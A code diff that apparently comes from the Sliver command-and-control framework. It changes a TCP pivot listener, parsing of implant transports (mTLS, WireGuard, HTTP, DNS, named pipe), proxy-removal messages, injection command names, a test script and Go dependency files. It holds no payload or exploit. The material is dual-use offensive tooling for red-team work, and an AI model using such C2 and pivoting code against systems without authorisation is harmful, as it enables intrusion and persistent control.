server := ctx.Flags.String("server")
lport := uint16(ctx.Flags.Int("lport"))
address := fmt.Sprintf("%s:%d", server, lport)
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Listening on tcp://%s", address)
}
+6 -30
View File
@@ -44,46 +44,22 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
mtlsC2 := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
wgC2, err := generate.ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
wgC2 := generate.ParseWGc2(ctx.Flags.String("wg"))
c2s = append(c2s, wgC2...)
httpC2, err := generate.ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
httpC2 := generate.ParseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2, err := generate.ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
dnsC2 := generate.ParseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2, err := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
namedPipeC2 := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2, err := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
tcpPivotC2 := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
+3 -3
View File
@@ -31,14 +31,14 @@ import (
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
con.PrintErrorf("Must specify a valid portfwd id\n")
return
}
found := core.SocksProxies.Remove(socksID)
if !found {
con.PrintErrorf("No socks5 with id %d\n", socksID)
con.PrintErrorf("No portfwd with id %d\n", socksID)
} else {
con.PrintInfof("Removed socks5\n")
con.PrintInfof("Removed portfwd\n")
}
// close
+14 -13
View File
@@ -117,17 +117,16 @@ const (
// Generic
// NewStr - "new"
NewStr = "new"
AddStr = "add"
StartStr = "start"
StopStr = "stop"
SetStr = "set"
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
DetailsStr = "details"
NewStr = "new"
AddStr = "add"
StartStr = "start"
StopStr = "stop"
SetStr = "set"
UnsetStr = "unset"
SaveStr = "save"
ReloadStr = "reload"
LoadStr = "load"
TablesStr = "tables"
LootStr = "loot"
LootLocalStr = "local"
@@ -147,7 +146,7 @@ const (
HttpStr = "http"
HttpsStr = "https"
NamedPipeStr = "named-pipe"
TCPListenerStr = "tcp"
TCPListenerStr = "tcp-pivot"
MsfStr = "msf"
MsfInjectStr = "msf-inject"
@@ -207,7 +206,7 @@ const (
RegistryListSubStr = "list-subkeys"
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
PivotsStr = "pivots"
PivotsListStr = "pivots-list"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
WgPortFwdStr = "wg-portfwd"
@@ -229,6 +228,8 @@ const (
GetPrivsStr = "getprivs"
PreludeOperatorStr = "prelude-operator"
ConnectStr = "connect"
LibInjectStr = "lib-inject"
)
// Groups
-24
View File
@@ -290,30 +290,6 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
======================================================================================================
MIT License
Copyright (c) 2018-2021 Frank Denis
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
======================================================================================================
Copyright (c) 2009 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
+1 -4
View File
@@ -33,8 +33,6 @@ import (
var SessionMapper *PreludeSessionMapper
const defaultImplantSleep = 5
type OperatorConfig struct {
Range string
OperatorURL string
@@ -90,7 +88,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: defaultImplantSleep,
Sleep: 3,
}
if p.conf.AESKey == "" {
@@ -105,7 +103,6 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
Address: p.conf.OperatorURL,
Pid: int(s.PID),
Executing: make(map[string]Instruction),
Sleep: defaultImplantSleep,
}
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
+1 -1
View File
@@ -19,7 +19,7 @@
# Creates the static go asset archives
GO_VER="1.17.5"
GO_VER="1.17.3"
GARBLE_VER="1.17.5"
COFF_LOADER_VER="1.0.7"
+13 -32
View File
@@ -17,32 +17,21 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
echo "----------------------------------------------------------------"
echo "WARNING: Running unit tests on slow systems can take a LONG time"
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
echo "----------------------------------------------------------------"
## Util
# util
if go test -tags=server,gosqlite ./util ; then
:
else
exit 1
fi
# util / encoders
if go test -tags=server,gosqlite ./util/encoders/basex ; then
if go test -tags=server ./util/encoders/basex ; then
:
else
exit 1
fi
if go test -tags=server,gosqlite ./util/encoders ; then
if go test -tags=server ./util/encoders ; then
:
else
exit 1
fi
if go test -tags=client,gosqlite ./util/encoders ; then
if go test -tags=client ./util/encoders ; then
:
else
exit 1
@@ -51,7 +40,7 @@ fi
## Implant
# implant / sliver / transports / dnsclient
if go test -tags=server,gosqlite ./implant/sliver/transports/dnsclient ; then
if go test -tags=server ./implant/sliver/transports/dnsclient ; then
:
else
exit 1
@@ -60,7 +49,7 @@ fi
## Server
# server / website
if go test -tags=server,gosqlite ./server/website ; then
if go test -tags=server ./server/website ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -68,7 +57,7 @@ else
fi
# server / loot
if go test -tags=server,gosqlite ./server/loot ; then
if go test -tags=server ./server/loot ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -76,7 +65,7 @@ else
fi
# server / certs
if go test -tags=server,gosqlite ./server/certs ; then
if go test -tags=server ./server/certs ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -84,15 +73,7 @@ else
fi
# server / cryptography
if go test -tags=server,gosqlite ./server/cryptography ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / cryptography / minisign
if go test -tags=server,gosqlite ./server/cryptography/minisign ; then
if go test -tags=server ./server/cryptography ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -100,7 +81,7 @@ else
fi
# server / gogo
if go test -tags=server,gosqlite ./server/gogo ; then
if go test -tags=server ./server/gogo ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -108,7 +89,7 @@ else
fi
# server / c2
if go test -tags=server,gosqlite ./server/c2 ; then
if go test -tags=server ./server/c2 ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -116,7 +97,7 @@ else
fi
# server / configs
if go test -tags=server,gosqlite ./server/configs ; then
if go test -tags=server ./server/configs ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -124,7 +105,7 @@ else
fi
# server / console
if go test -tags=server,gosqlite ./server/console ; then
if go test -tags=server ./server/console ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -132,7 +113,7 @@ else
fi
# server / generate
if go test -tags=server,gosqlite ./server/generate -timeout 6h ; then
if go test -tags=server ./server/generate -timeout 6h ; then
:
else
cat ~/.sliver/logs/sliver.log
+3 -20
View File
@@ -21,8 +21,8 @@ require (
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/golang/protobuf v1.5.2
github.com/google/uuid v1.2.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
@@ -32,7 +32,7 @@ require (
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.9
github.com/mattn/go-sqlite3 v1.14.5
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
@@ -61,14 +61,11 @@ require (
require (
github.com/emirpasic/gods v1.12.0
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
modernc.org/sqlite v1.14.3
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
@@ -80,7 +77,6 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
@@ -96,29 +92,16 @@ require (
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.18 // indirect
modernc.org/ccgo/v3 v3.12.95 // indirect
modernc.org/libc v1.11.104 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.5 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
)
+6 -152
View File
@@ -37,8 +37,6 @@ github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
@@ -112,8 +110,6 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
@@ -140,9 +136,6 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
@@ -181,18 +174,15 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
@@ -325,8 +315,6 @@ github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
@@ -350,8 +338,8 @@ github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=
github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=
@@ -403,8 +391,6 @@ github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y8
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
@@ -417,8 +403,6 @@ github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
@@ -455,10 +439,10 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
github.com/things-go/go-socks5 v0.0.2 h1:dFi5iZ/LqgHRTQ6n3XlipTLDWHAQsejvJ300bH2VFWo=
github.com/things-go/go-socks5 v0.0.2/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
@@ -514,7 +498,6 @@ golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKG
golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -590,7 +573,6 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -601,10 +583,6 @@ golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7w
